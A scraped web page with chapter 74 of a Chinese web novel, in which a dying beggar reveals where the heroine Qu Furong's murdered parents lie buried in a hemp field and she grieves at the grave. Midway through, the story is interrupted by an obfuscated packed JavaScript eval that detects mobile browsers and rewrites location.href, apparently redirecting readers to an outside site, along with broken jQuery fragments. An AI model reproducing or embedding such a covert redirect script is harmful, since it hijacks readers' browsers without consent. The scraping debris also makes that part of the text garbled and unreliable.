默认冷灰
24号文字
方正启体

74. 苘麻地

作者:向芙蓉本书字数:K更新时间:
    曲芙蓉与老货郎对看一眼,心下一惊,没说话,支棱起耳朵听老米说。


    “那夜里,我和小乞丐原在清水河边的破庙里,被一伙蒙面人驱赶,只好躲到了一个废弃的瓜棚里栖身。


    “出声说话的那俩人都操着奇怪的口音,说是嵛阳人,又有几分不像。骂人的方言土语倒是说得比嵛阳人还溜。


    “半夜里我被打骂声惨叫声惊醒,隔得远,听不真切。初时我不敢靠前,后来我借着浓雾,大着胆子摸到河边,正听到扑通扑通声,似是有人跳了河,紧接着听到愈发惨烈的叫声,再后来就,就听不到叫声了。”


    曲芙蓉听老米所说的,正是曲雁荷当初所说的那夜情景。


    她大张着嘴巴却不敢发出声音,圆睁了眼,听他说下去,心里已是绞着劲地痛。


    “随即,我听到几个人纷纷骂着脏话,听声音正是先前的蒙面人。另有一沙粗嗓子的人说道:算了,如此大的洪水,就算大人跳了河也活不成,莫说还有一个绑着的。咱们也算交差了,回山。


    “随后,我听到他们的脚步声往远处去了。我候着他们脚步声远了,才敢悄悄过去,却瞧见令尊和令堂都躺在血泊中,已经没了气息。”


    “啊!”曲芙蓉再也忍不住,发出一声惊叫,扑到老米床边,“不会的!你看错了!真的是我爹我娘?你看清楚了吗?”


    就算当初金管家已断定,她爹娘已无生还可能,这会子老米如此一说,她还是难以接受,忍不住质疑否认老米的话。


    老货郎也严肃地跟问:“人命关天啊,夜雾浓重,你当真瞧得分明?真是曲家老爷与曲家太太?”


    老米急促地喘息了几声,歇了一下,用无比凄楚的目光瞧着曲芙蓉道:


    “我怎会看错?虽说雾重,其时天光已微明。何况,十年前,是令尊的一碗鱼羹救了我一命。这十年来,我流连在曲家村一带,要没有曲老爷时常接济,只怕我早就归西了,如何能苟活到今日?”


    老米又歇了一气,叹息道:“我探过他二人气息,的确已经气绝身亡了,断无救回的可能。我不知发生了何事,令他二人惨遭横祸,我怕那伙蒙面人再回来,又不敢声张,只得匆忙将他二人连夜掩埋了。”


    曲芙蓉紧盯着他发问:“埋在何地?你快说。”


    “就在清水河边,你们家那块苘麻地里,在地当中,挖了一个坑,将他二人埋在一处。未敢留名号,只在河边柳树上撅了一截柳树技插在土堆前。可怜曲老爷,一生乐善助人,临了,连个棺材也未享用得上。”


    曲芙蓉瘫坐在地上,欲哭无泪。


    一直默默守在旁边的苏莫寒,过来将她搀了起来,扶她坐在床前的凳子上。


    老米继续说道:


    “先前我听到跳河声,又听了那人的话,我以为你们几个孩子都跳了河,我还以为你们家再无人了,便趁着大雾离开了曲家村。没想到三姑娘竟幸免于难,更没想到能得见三姑娘一面,将这些话告诸于你。”


    老米断断续续说了这许多话,大概已耗尽了力气,已经气息奄奄。他停下来,大口大口急促地喘着气。


    过了会儿,他虚弱地喃喃道:“能令三姑娘知晓曲老爷的埋葬处,我也就了无牵挂了。我这就去见曲老爷,告诉他,三姑娘还活着,太好了,还活着……”


    曲芙蓉从愣怔中清醒,站起身,跪到老米面前,对着老米磕了一个头,郑重地说道:


    “谢谢您,米爷爷,谢谢您告诉我这些,谢谢您掩埋了先父母的遗骸,令他们入土为安。大恩大德,无以为报。


    “您放心,有我曲芙蓉给您送终,您安心地去吧。我会给您买上好的寿衣上好的棺材全套的纸活,风风光光的将您厚葬。


    “米爷爷,您见了我爹,记得告诉他,不只我活着,我姐雁荷也活下来了。虽然我还没寻到我哥哥荷举,但我相信,他一定还活着,活得好好的。


    “您跟我爹说,我一定揪出凶手,查明真相,为我爹娘洗清冤屈,还他们一个清白。”


    那老米听了,脸上露出笑容,眼角滴下泪来,弱声自语着:“想不到我老米孤零零飘泊一生,临了竟有人为我送终,真是莫大的福份啊,真好,好……”


    老米喃喃着,带着满足的笑,离开了人世,终结了他穷苦飘荡的一生。


    生前,他居无所,衣不暖,食无饱。偶一知恩图报的壮举,竟为他换来了身后事的风光哀荣。


    大概是他一辈子都未曾想到的事儿。


    曲芙蓉依照承诺,为老乞丐老米买了一口杉木好棺材,为其披麻戴孝摔盆发丧,将其厚葬。


    苏莫寒带着苏木苏铁大姜老钱等人,忙前忙后,帮她张罗了老米的丧事。


    等到一切安顿好了,从义地返回时,苏莫寒一错眼,忽然发现曲芙蓉不在人群当中。


    他忙叫过苏全:“曲姑娘去何处了?她方才还在此处呢。”


    “回二公子,曲姑娘先回四方客栈了。”


    “她为何不等我?”


    “这个小的不清楚,二公子,小的见曲姑娘神情凄楚,料她心中悲伤难过,未敢多问。”


    苏莫寒稍一沉吟,猛然想到,曲芙蓉知晓了她父母的埋葬处,依她性子,立马就该回村去了,却因老米的丧事耽搁了。


    如今老米已然安葬,她定是等不及回曲家村了。


    她回客栈一定是找飞云,骑马先走了。


    苏莫寒连忙吩咐苏全:“你们后头回客栈,退房结账,随后赶去曲家村。我先回客栈,骑着闪电去追她。”


    苏莫寒一路快奔,回到客栈,在门口遇上留在客栈里的老货郎。


    老货郎正拄着杖,焦急地向外张望,一见他,说道:“苏公子,芙蓉已经先回曲家村了,我拦她没拦住,正急着等你们回来。”


    苏莫寒安慰他:“不妨事儿,赵伯父,等一下大姜他们回来,你们稍后一起回。我先去追她。”


    苏莫寒匆匆去马厩拉马,果然瞧见少了飞云。


    他飞身跃上闪电,往曲家村飞奔。


    ――


    苘麻地!苘麻地!


    曲芙蓉心中只有这个念头了,她骑了飞云一边往清水河飞奔,一边在心中不断地念叨着苘麻地。


    曾几何时,爹在地里耕种采收,哥哥来帮忙,娘挑着担子,带着姐姐来送饭。她在田边跳着跑着捉蚂蚱玩着。


    默想着从前一家人,在苘麻地劳作的情景,曲芙蓉的脸上泪如雨下。


    她顾不上擦眼泪,擦也擦不断,她的双手执着缰绳,就这样任泪水滂沱,任飞云载着她飞驰过崎岖颠簸的山路,不歇气的一路飞奔到清水河边。


    清水河里,浊浪轰鸣着拍打着堤坝。


    河岸下排列着大大小小的农田,伸向无际之处。


    一块不起眼的苘麻地,杂在其中。


    曲芙蓉老远瞧见那块苘麻地,心里一凉。


    不见在地里劳作的人,亦不见原来的齐整。</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14822945|158551||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    从前的苘麻地里,株苗排列得行是行,垄是垄,齐整茁壮。


    如今的苘麻地里杂乱无章。


    新生的苘麻夹杂着去年的枯枝残杆,乱糟糟地忤在地里,几朵快要凋谢的花,蔫蔫地缀在枝上。


    大概是去年未收的种子,落在地里,今春自己发了芽,野蛮无序地生长,


    与苘麻杆纠缠在一起的,还有一人多高的野草。


    分不清哪是野草,哪是苘麻。


    被这些东西挡着,曲芙蓉瞧不见老米所说的那个土堆,也找不到路,进到地里。


    曲芙蓉正要分开野草及苘麻杆钻过去,后头一人出手拉住了她。


    她回首瞧见是苏莫寒。


    苏莫寒一路飞马追她,远远地跟在后头,一直追不上,直追到清水河岸才赶了上来。


    见她下了马跑进河边的一片苘麻地里,忙拴了马过来寻她。


    苏莫寒拉住了她,并未说话,抽出剑来,将野草及苘麻杆砍倒,开出一条路来,直通到地当中。


    曲芙蓉跟在苏莫寒身后,踏着他开出的路,进到苘麻地当中。


    地上堆着一个低矮的土堆,土堆上长满了野草和苘麻。


    土堆前,一棵细弱的柳树,不及苘麻杆高。


    应当是老米插的那截柳树枝,生了根发了芽,长出了枝条。


    这就是坟堆?!这就是她父母亲的埋身之处?!


    难以相信,她千辛万苦寻找的父母亲,竟然就埋葬在此处?!


    为何?为了甚么?


    她亲亲的父母竟如此凄惨地躺在冰凉的地底下。


    是哪个奸佞贼人害的他们?罪魁祸首又是谁?


    曲芙蓉扑倒在坟前,一时间,悲痛难忍,泪水汹涌得如决堤的清水河。


    大半年来积攒的委屈与愤怒,也都化成泪水奔涌而出。


    曲芙蓉伏在地上无声地哭了一气,忽地爬起来,跪行至坟前,两手去扒坟上的土,哭喊着:


    “爹!娘!你们真的在里面吗?你们真的不要蓉儿了吗?爹!娘!不要扔下蓉儿啊!爹!娘!让蓉儿最后瞧一眼你们啊!”


    苏莫寒原本在清理坟堆四周的野草,见曲芙蓉伏在地上痛哭,也未去拉她,想着让她痛快地哭一场,心里会好受些。


    猛然见她用手去扒土,忙跳过来拉住她手:“不要,不要这样!”


    曲芙蓉已失了理智,用力将他推开,仍然发狂一般地去扒坟上的土。


    苏莫寒被她推倒在地,连忙爬起来,顾不上别的,用力将她抱住,按住了她两只手。


    拿过来看时,她的手指头,已尽数被土坷垃野草根磨碎划破,糊着血和泥巴,令人目不忍睹。


    苏莫寒攥着她手腕,心疼地落下泪来。


    手指上传来的钻心疼痛,令曲芙蓉恢复了一丝理智。


    曲芙蓉没有再动手扒土,也没有推开苏莫寒,只是倚靠在他怀中,目光呆滞无神。


    良久,曲芙蓉口中发出一声撕心裂肺的哀嚎。


    其声凄惨无比,回荡在苘麻地里,任谁听了都不能不动容。


    而后,她又是一动不动。


    苏莫寒见她不再动,不哭亦不叫,怔怔地跪坐着,便将她从地上拉了起来。


    他未敢松手,依然攥着她手腕,说道:


    “有些事情,明日再说,今日咱们先回家。”


    “回家?”曲芙蓉喃喃重复道,“哪里还有家?家在哪儿?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)